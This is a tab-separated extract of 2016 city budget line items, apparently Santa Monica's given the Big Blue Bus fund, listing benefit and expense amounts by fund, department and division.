19495	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV		UNEMPLOYMENT	806.0	Salaries and Wages	2016	17033	0	0	0	0	0	0	0	0	0	0	0	17033
19496	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION		LIFE INSURANCE & AD & D	806.0	Salaries and Wages	2016	3876	0	0	0	0	0	0	0	0	0	0	0	3876
19497	BA	IS	1	General Fund	310	FIRE	315	TRAINING		EAP	806.0	Salaries and Wages	2016	319	0	0	0	0	0	0	0	0	0	0	0	319
19498	BA	IS	1	General Fund	310	FIRE	315	TRAINING		DCAP	806.0	Salaries and Wages	2016	216	0	0	0	0	0	0	0	0	0	0	0	216
19499	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	655	TRANSIT OPERATIONS		LIFE INSURANCE & AD & D	808.0	Salaries and Wages	2016	12887	0	0	0	0	0	0	0	0	0	0	0	12887
19500	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	511748.0	DENTAL	840.0	Salaries and Wages	2016	8421	0	0	0	0	0	0	0	0	0	0	0	8421
19501	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	511749.0	VISION	840.0	Salaries and Wages	2016	1044	0	0	0	0	0	0	0	0	0	0	0	1044
19502	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT GOV&COMUNITY RELATIONS	511743.0	MEDICAL - MISC EMPL	840.0	Salaries and Wages	2016	264982	0	0	0	0	0	0	0	0	0	0	0	264982
19503	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	653	TRANSIT MAINTENANCE	511749.0	VISION	840.0	Salaries and Wages	2016	2966	0	0	0	0	0	0	0	0	0	0	0	2966
19504	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	670	TRANSIT SAFETY & TRAINING	511746.0	MED TRUST - MISC EMPL	840.0	Salaries and Wages	2016	14090	0	0	0	0	0	0	0	0	0	0	0	14090
19505	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	640	TRANSIT EXECUTIVE	511773.0	RETIREMENT - MISC EMPL	840.0	Salaries and Wages	2016	210053	0	0	0	0	0	0	0	0	0	0	0	210053
19506	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	511773.0	RETIREMENT - MISC EMPL	840.0	Salaries and Wages	2016	139861	0	0	0	0	0	0	0	0	0	0	0	139861
19507	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	511773.0	RETIREMENT - MISC EMPL	840.0	Salaries and Wages	2016	315025	0	0	0	0	0	0	0	0	0	0	0	315025
19508	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS		DCAP	804.0	Salaries and Wages	2016	358	0	0	0	0	0	0	0	0	0	0	0	358
19509	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION		EAP	804.0	Salaries and Wages	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
19510	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION		WELLNESS	804.0	Salaries and Wages	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
19511	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION		LIFE INSURANCE & AD & D	804.0	Salaries and Wages	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
19512	BA	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY		EAP	804.0	Salaries and Wages	2016	4567	0	0	0	0	0	0	0	0	0	0	0	4567
19513	BA	IS	1	General Fund	500	PUBLIC WORKS	401	ADMINISTRATIVE SERVICES (PW)		DCAP	808.0	Salaries and Wages	2016	360	0	0	0	0	0	0	0	0	0	0	0	360
19514	BA	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING		DISABILITY INSURANCE	808.0	Salaries and Wages	2016	21829	0	0	0	0	0	0	0	0	0	0	0	21829
19515	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		EAP	810.0	Salaries and Wages	2016	738	0	0	0	0	0	0	0	0	0	0	0	738
19516	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		UNEMPLOYMENT	810.0	Salaries and Wages	2016	6441	0	0	0	0	0	0	0	0	0	0	0	6441
19517	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		EAP	810.0	Salaries and Wages	2016	638	0	0	0	0	0	0	0	0	0	0	0	638
19518	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		LIFE INSURANCE & AD & D	810.0	Salaries and Wages	2016	1027	0	0	0	0	0	0	0	0	0	0	0	1027
19519	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		DISABILITY INSURANCE	810.0	Salaries and Wages	2016	4255	0	0	0	0	0	0	0	0	0	0	0	4255
19520	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES		DISABILITY INSURANCE	812.0	Salaries and Wages	2016	7298	0	0	0	0	0	0	0	0	0	0	0	7298
19521	BA	IS	1	General Fund	410	LIBRARY	615	REFERENCE SERVICES		EAP	812.0	Salaries and Wages	2016	2339	0	0	0	0	0	0	0	0	0	0	0	2339
19522	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	511746.0	MED TRUST - MISC. EMPL	806.0	Salaries and Wages	2016	19330	0	0	0	0	0	0	0	0	0	0	0	19330
19523	BA	IS	1	General Fund	310	FIRE	315	TRAINING	511746.0	MED TRUST - MISC. EMPL	806.0	Salaries and Wages	2016	1770	0	0	0	0	0	0	0	0	0	0	0	1770
19524	BA	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL		UNEMPLOYMENT	804.0	Salaries and Wages	2016	478	0	0	0	0	0	0	0	0	0	0	0	478
19525	BA	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION		LIFE INSURANCE & AD & D	804.0	Salaries and Wages	2016	5311	0	0	0	0	0	0	0	0	0	0	0	5311
19526	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS		LIFE INSURANCE & AD & D	804.0	Salaries and Wages	2016	702	0	0	0	0	0	0	0	0	0	0	0	702
19527	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS		DISABILITY INSURANCE	804.0	Salaries and Wages	2016	2411	0	0	0	0	0	0	0	0	0	0	0	2411
19528	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS		EAP	810.0	Salaries and Wages	2016	844	0	0	0	0	0	0	0	0	0	0	0	844
19529	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS		DCAP	810.0	Salaries and Wages	2016	646	0	0	0	0	0	0	0	0	0	0	0	646
19530	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	640	TRANSIT EXECUTIVE		LIFE INSURANCE & AD & D	808.0	Salaries and Wages	2016	3583	0	0	0	0	0	0	0	0	0	0	0	3583
19531	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	640	TRANSIT EXECUTIVE		DISABILITY INSURANCE	808.0	Salaries and Wages	2016	7279	0	0	0	0	0	0	0	0	0	0	0	7279
19532	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS		UNEMPLOYMENT	808.0	Salaries and Wages	2016	3188	0	0	0	0	0	0	0	0	0	0	0	3188
19533	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS		EAP	808.0	Salaries and Wages	2016	744	0	0	0	0	0	0	0	0	0	0	0	744
19534	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE		UNEMPLOYMENT	808.0	Salaries and Wages	2016	7201	0	0	0	0	0	0	0	0	0	0	0	7201
19535	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	652	TRANSIT MAINTENANCE		DCAP	808.0	Salaries and Wages	2016	3448	0	0	0	0	0	0	0	0	0	0	0	3448
19536	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	652	TRANSIT MAINTENANCE		LIFE INSURANCE & AD & D	808.0	Salaries and Wages	2016	6320	0	0	0	0	0	0	0	0	0	0	0	6320
19537	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS		UNEMPLOYMENT	808.0	Salaries and Wages	2016	12388	0	0	0	0	0	0	0	0	0	0	0	12388
19538	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS		EAP	808.0	Salaries and Wages	2016	2964	0	0	0	0	0	0	0	0	0	0	0	2964
19539	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	655	TRANSIT OPERATIONS		DCAP	808.0	Salaries and Wages	2016	22912	0	0	0	0	0	0	0	0	0	0	0	22912
19540	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT GOV&COMUNITY RELATIONS	511746.0	MED TRUST - MISC EMPL	840.0	Salaries and Wages	2016	28180	0	0	0	0	0	0	0	0	0	0	0	28180
19541	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	652	TRANSIT MAINTENANCE	511748.0	DENTAL	840.0	Salaries and Wages	2016	48123	0	0	0	0	0	0	0	0	0	0	0	48123
19542	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN		UNEMPLOYMENT	804.0	Salaries and Wages	2016	4039	0	0	0	0	0	0	0	0	0	0	0	4039
19543	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS		UNEMPLOYMENT	810.0	Salaries and Wages	2016	4441	0	0	0	0	0	0	0	0	0	0	0	4441
19544	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		DCAP	810.0	Salaries and Wages	2016	1576	0	0	0	0	0	0	0	0	0	0	0	1576
19545	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		DCAP	810.0	Salaries and Wages	2016	432	0	0	0	0	0	0	0	0	0	0	0	432
19546	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		DISABILITY INSURANCE	810.0	Salaries and Wages	2016	1950	0	0	0	0	0	0	0	0	0	0	0	1950
19547	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		DCAP	810.0	Salaries and Wages	2016	792	0	0	0	0	0	0	0	0	0	0	0	792
19548	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES		UNEMPLOYMENT	812.0	Salaries and Wages	2016	5998	0	0	0	0	0	0	0	0	0	0	0	5998
19549	BA	IS	1	General Fund	410	LIBRARY	614	INFORMATION MANAGEMENT		DCAP	812.0	Salaries and Wages	2016	790	0	0	0	0	0	0	0	0	0	0	0	790
19550	BA	IS	1	General Fund	410	LIBRARY	614	INFORMATION MANAGEMENT		DISABILITY INSURANCE	812.0	Salaries and Wages	2016	5811	0	0	0	0	0	0	0	0	0	0	0	5811
19551	BA	IS	1	General Fund	410	LIBRARY	615	REFERENCE SERVICES		LIFE INSURANCE & AD & D	812.0	Salaries and Wages	2016	7109	0	0	0	0	0	0	0	0	0	0	0	7109
19552	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT		DCAP	816.0	Salaries and Wages	2016	216	0	0	0	0	0	0	0	0	0	0	0	216
19553	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	653	TRANSIT MAINTENANCE		DCAP	808.0	Salaries and Wages	2016	1436	0	0	0	0	0	0	0	0	0	0	0	1436
19554	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS		LIFE INSURANCE & AD & D	808.0	Salaries and Wages	2016	10902	0	0	0	0	0	0	0	0	0	0	0	10902
19555	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	655	TRANSIT OPERATIONS		DISABILITY INSURANCE	808.0	Salaries and Wages	2016	295443	0	0	0	0	0	0	0	0	0	0	0	295443
19556	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	670	TRANSIT SAFETY & TRAINING		DCAP	808.0	Salaries and Wages	2016	574	0	0	0	0	0	0	0	0	0	0	0	574
19557	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	652	TRANSIT MAINTENANCE	511743.0	MEDICAL - MISC EMPL	840.0	Salaries and Wages	2016	891120	0	0	0	0	0	0	0	0	0	0	0	891120
19558	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	652	TRANSIT MAINTENANCE	511749.0	VISION	840.0	Salaries and Wages	2016	7125	0	0	0	0	0	0	0	0	0	0	0	7125
19559	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	653	TRANSIT MAINTENANCE	511743.0	MEDICAL - MISC EMPL	840.0	Salaries and Wages	2016	330844	0	0	0	0	0	0	0	0	0	0	0	330844
19560	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	653	TRANSIT MAINTENANCE	511746.0	MED TRUST - MISC EMPL	840.0	Salaries and Wages	2016	35260	0	0	0	0	0	0	0	0	0	0	0	35260
19561	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS	511746.0	MED TRUST - MISC EMPL	840.0	Salaries and Wages	2016	49419	0	0	0	0	0	0	0	0	0	0	0	49419
19562	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS	511748.0	DENTAL	840.0	Salaries and Wages	2016	31266	0	0	0	0	0	0	0	0	0	0	0	31266
19563	BA	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT		EAP		Salaries and Wages	2016	744	0	0	0	0	0	0	0	0	0	0	0	744
19564	BA	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT		DISABILITY INSURANCE		Salaries and Wages	2016	4630	0	0	0	0	0	0	0	0	0	0	0	4630
19565	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER		DCAP	840.0	Salaries and Wages	2016	1574	0	0	0	0	0	0	0	0	0	0	0	1574
19566	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER		WELLNESS	840.0	Salaries and Wages	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
19567	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY		DCAP	808.0	Salaries and Wages	2016	502	0	0	0	0	0	0	0	0	0	0	0	502
19568	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	640	TRANSIT EXECUTIVE		UNEMPLOYMENT	808.0	Salaries and Wages	2016	4822	0	0	0	0	0	0	0	0	0	0	0	4822
19569	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS		DISABILITY INSURANCE	808.0	Salaries and Wages	2016	4750	0	0	0	0	0	0	0	0	0	0	0	4750
19570	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT GOV&COMUNITY RELATIONS		DCAP	808.0	Salaries and Wages	2016	1148	0	0	0	0	0	0	0	0	0	0	0	1148
19571	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS		DISABILITY INSURANCE	808.0	Salaries and Wages	2016	17990	0	0	0	0	0	0	0	0	0	0	0	17990
19572	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	640	TRANSIT EXECUTIVE	511748.0	DENTAL	840.0	Salaries and Wages	2016	8048	0	0	0	0	0	0	0	0	0	0	0	8048
19573	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	511743.0	MEDICAL - MISC EMPL	840.0	Salaries and Wages	2016	144059	0	0	0	0	0	0	0	0	0	0	0	144059
19574	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT GOV&COMUNITY RELATIONS	511749.0	VISION	840.0	Salaries and Wages	2016	2369	0	0	0	0	0	0	0	0	0	0	0	2369
19575	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	670	TRANSIT SAFETY & TRAINING	511773.0	RETIREMENT - MISC EMPL	840.0	Salaries and Wages	2016	149329	0	0	0	0	0	0	0	0	0	0	0	149329
19576	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	511774.0	RETIREMENT - AS NEEDED	840.0	Salaries and Wages	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
19577	BA	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	577850.0	CONTINGENCY	804.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
19578	BA	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	408000.0	INTERFUND SERVICES-ENG	612.0	Charges for Service	2016	-242958	0	0	0	0	0	0	0	0	0	0	0	-242958
19579	BA	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY	511713.0	MEDICARE-MISC EMPLOYEES	804.0	Salaries and Wages	2016	108242	0	0	0	0	0	0	0	0	0	0	0	108242
19580	BA	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION	511713.0	MEDICARE-MISC EMPLOYEES	806.0	Salaries and Wages	2016	9789	0	0	0	0	0	0	0	0	0	0	0	9789
19581	BA	IS	1	General Fund	310	FIRE	315	TRAINING	511713.0	MEDICARE-MISC EMPLOYEES	806.0	Salaries and Wages	2016	844	0	0	0	0	0	0	0	0	0	0	0	844
19582	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	511713.0	MEDICARE-MISC EMPLOYEES	810.0	Salaries and Wages	2016	13360	0	0	0	0	0	0	0	0	0	0	0	13360
19583	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		EAP	810.0	Salaries and Wages	2016	519	0	0	0	0	0	0	0	0	0	0	0	519
19584	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511713.0	MEDICARE-MISC EMPLOYEES	810.0	Salaries and Wages	2016	9491	0	0	0	0	0	0	0	0	0	0	0	9491
19585	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	511713.0	MEDICARE-MISC EMPLOYEES	816.0	Salaries and Wages	2016	12305	0	0	0	0	0	0	0	0	0	0	0	12305
19586	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	511713.0	MEDICARE-MISC EMPLOYEES	804.0	Salaries and Wages	2016	7781	0	0	0	0	0	0	0	0	0	0	0	7781
19587	BA	IS	1	General Fund	410	LIBRARY	614	INFORMATION MANAGEMENT	511713.0	MEDICARE-MISC EMPLOYEES	812.0	Salaries and Wages	2016	14192	0	0	0	0	0	0	0	0	0	0	0	14192
19588	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT		LIFE INSURANCE & AD & D	816.0	Salaries and Wages	2016	1601	0	0	0	0	0	0	0	0	0	0	0	1601
19589	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION		DISABILITY INSURANCE	816.0	Salaries and Wages	2016	5461	0	0	0	0	0	0	0	0	0	0	0	5461
19590	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY		DCAP	816.0	Salaries and Wages	2016	2518	0	0	0	0	0	0	0	0	0	0	0	2518
19591	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS		DCAP	804.0	Salaries and Wages	2016	502	0	0	0	0	0	0	0	0	0	0	0	502
19592	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS		DISABILITY INSURANCE	804.0	Salaries and Wages	2016	3887	0	0	0	0	0	0	0	0	0	0	0	3887
19593	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV		DCAP	806.0	Salaries and Wages	2016	2012	0	0	0	0	0	0	0	0	0	0	0	2012
19594	BA	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV		EAP	806.0	Salaries and Wages	2016	9080	0	0	0	0	0	0	0	0	0	0	0	9080
19595	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION		EAP	806.0	Salaries and Wages	2016	1382	0	0	0	0	0	0	0	0	0	0	0	1382
19596	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION		WELLNESS	806.0	Salaries and Wages	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
19597	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		UNEMPLOYMENT	810.0	Salaries and Wages	2016	3513	0	0	0	0	0	0	0	0	0	0	0	3513
19598	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		UNEMPLOYMENT	810.0	Salaries and Wages	2016	2816	0	0	0	0	0	0	0	0	0	0	0	2816
19599	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		LIFE INSURANCE & AD & D	810.0	Salaries and Wages	2016	1833	0	0	0	0	0	0	0	0	0	0	0	1833
19600	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		EAP	810.0	Salaries and Wages	2016	1170	0	0	0	0	0	0	0	0	0	0	0	1170
19601	BA	IS	1	General Fund	410	LIBRARY	614	INFORMATION MANAGEMENT		UNEMPLOYMENT	812.0	Salaries and Wages	2016	4760	0	0	0	0	0	0	0	0	0	0	0	4760
19602	BA	IS	1	General Fund	410	LIBRARY	616	PUBLIC AND BRANCH SERVICES		DCAP	812.0	Salaries and Wages	2016	2156	0	0	0	0	0	0	0	0	0	0	0	2156
19603	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT		UNEMPLOYMENT	816.0	Salaries and Wages	2016	2039	0	0	0	0	0	0	0	0	0	0	0	2039
19604	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.		DCAP	816.0	Salaries and Wages	2016	1510	0	0	0	0	0	0	0	0	0	0	0	1510
19605	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY		UNEMPLOYMENT	816.0	Salaries and Wages	2016	17309	0	0	0	0	0	0	0	0	0	0	0	17309
19606	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT		EAP	816.0	Salaries and Wages	2016	1163	0	0	0	0	0	0	0	0	0	0	0	1163
19607	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT		DISABILITY INSURANCE	816.0	Salaries and Wages	2016	7787	0	0	0	0	0	0	0	0	0	0	0	7787
19608	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS	511743.0	MEDICAL - MISC EMPL	840.0	Salaries and Wages	2016	480593	0	0	0	0	0	0	0	0	0	0	0	480593
19609	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	655	TRANSIT OPERATIONS	511743.0	MEDICAL - MISC EMPL	840.0	Salaries and Wages	2016	5521630	0	0	0	0	0	0	0	0	0	0	0	5521630
19610	BA	IS	41	Big Blue Bus Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511773.0	RETIREMENT - MISC EMPL	840.0	Salaries and Wages	2016	153302	0	0	0	0	0	0	0	0	0	0	0	153302
19611	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	655	TRANSIT OPERATIONS	511773.0	RETIREMENT - MISC EMPL	840.0	Salaries and Wages	2016	3678971	0	0	0	0	0	0	0	0	0	0	0	3678971
19612	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	544870.0	PARKING CITATION COSTS	804.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
19613	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION	555210.0	TRAINING	816.0	 Supplies and Expenses	2016	4875	0	0	0	0	0	0	0	0	0	0	0	4875
19614	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS	408000.0	INTERFUND SERVICES-RES	612.0	Charges for Service	2016	-220000	0	0	0	0	0	0	0	0	0	0	0	-220000
19615	BA	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	511713.0	MEDICARE-MISC EMPLOYEES	804.0	Salaries and Wages	2016	3334	0	0	0	0	0	0	0	0	0	0	0	3334
19616	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511713.0	MEDICARE-MISC EMPLOYEES	810.0	Salaries and Wages	2016	19451	0	0	0	0	0	0	0	0	0	0	0	19451
19617	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511713.0	MEDICARE-MISC EMPLOYEES	810.0	Salaries and Wages	2016	8713	0	0	0	0	0	0	0	0	0	0	0	8713
19618	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION	511713.0	MEDICARE-MISC EMPLOYEES	816.0	Salaries and Wages	2016	10911	0	0	0	0	0	0	0	0	0	0	0	10911
19619	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	511713.0	MEDICARE-MISC EMPLOYEES	816.0	Salaries and Wages	2016	52780	0	0	0	0	0	0	0	0	0	0	0	52780
19620	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	511713.0	MEDICARE-MISC EMPLOYEES	816.0	Salaries and Wages	2016	15991	0	0	0	0	0	0	0	0	0	0	0	15991
19621	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.		EAP	816.0	Salaries and Wages	2016	2226	0	0	0	0	0	0	0	0	0	0	0	2226
19622	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT		UNEMPLOYMENT	816.0	Salaries and Wages	2016	5164	0	0	0	0	0	0	0	0	0	0	0	5164
19623	BA	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION		DCAP	806.0	Salaries and Wages	2016	11377	0	0	0	0	0	0	0	0	0	0	0	11377
19624	BA	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES		UNEMPLOYMENT	806.0	Salaries and Wages	2016	55140	0	0	0	0	0	0	0	0	0	0	0	55140
19625	BA	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES		EAP	806.0	Salaries and Wages	2016	13122	0	0	0	0	0	0	0	0	0	0	0	13122
19626	BA	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV		UNEMPLOYMENT	806.0	Salaries and Wages	2016	39662	0	0	0	0	0	0	0	0	0	0	0	39662
19627	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	511713.0	MEDICARE-MISC EMPLOYEES	808.0	Salaries and Wages	2016	7762	0	0	0	0	0	0	0	0	0	0	0	7762
19628	BA	IS	1	General Fund	310	FIRE	315	TRAINING		DISABILITY INSURANCE	806.0	Salaries and Wages	2016	393	0	0	0	0	0	0	0	0	0	0	0	393
19629	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING		EAP	808.0	Salaries and Wages	2016	8699	0	0	0	0	0	0	0	0	0	0	0	8699
19630	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER		EAP	840.0	Salaries and Wages	2016	2307	0	0	0	0	0	0	0	0	0	0	0	2307
19631	BA	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	522900.0	MEMBERSHIPS AND DUES	804.0	 Supplies and Expenses	2016	3193	0	0	0	0	0	0	0	0	0	0	0	3193
19632	BA	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	511713.0	MEDICARE-MISC EMPLOYEES	806.0	Salaries and Wages	2016	45973	0	0	0	0	0	0	0	0	0	0	0	45973
19633	BA	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	511713.0	MEDICARE-MISC EMPLOYEES	806.0	Salaries and Wages	2016	45201	0	0	0	0	0	0	0	0	0	0	0	45201
19634	BA	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE	511712.0	MEDICARE-FIRE	806.0	Salaries and Wages	2016	222718	0	0	0	0	0	0	0	0	0	0	0	222718
19635	BA	IS	1	General Fund	410	LIBRARY	615	REFERENCE SERVICES	511713.0	MEDICARE-MISC EMPLOYEES	812.0	Salaries and Wages	2016	34213	0	0	0	0	0	0	0	0	0	0	0	34213
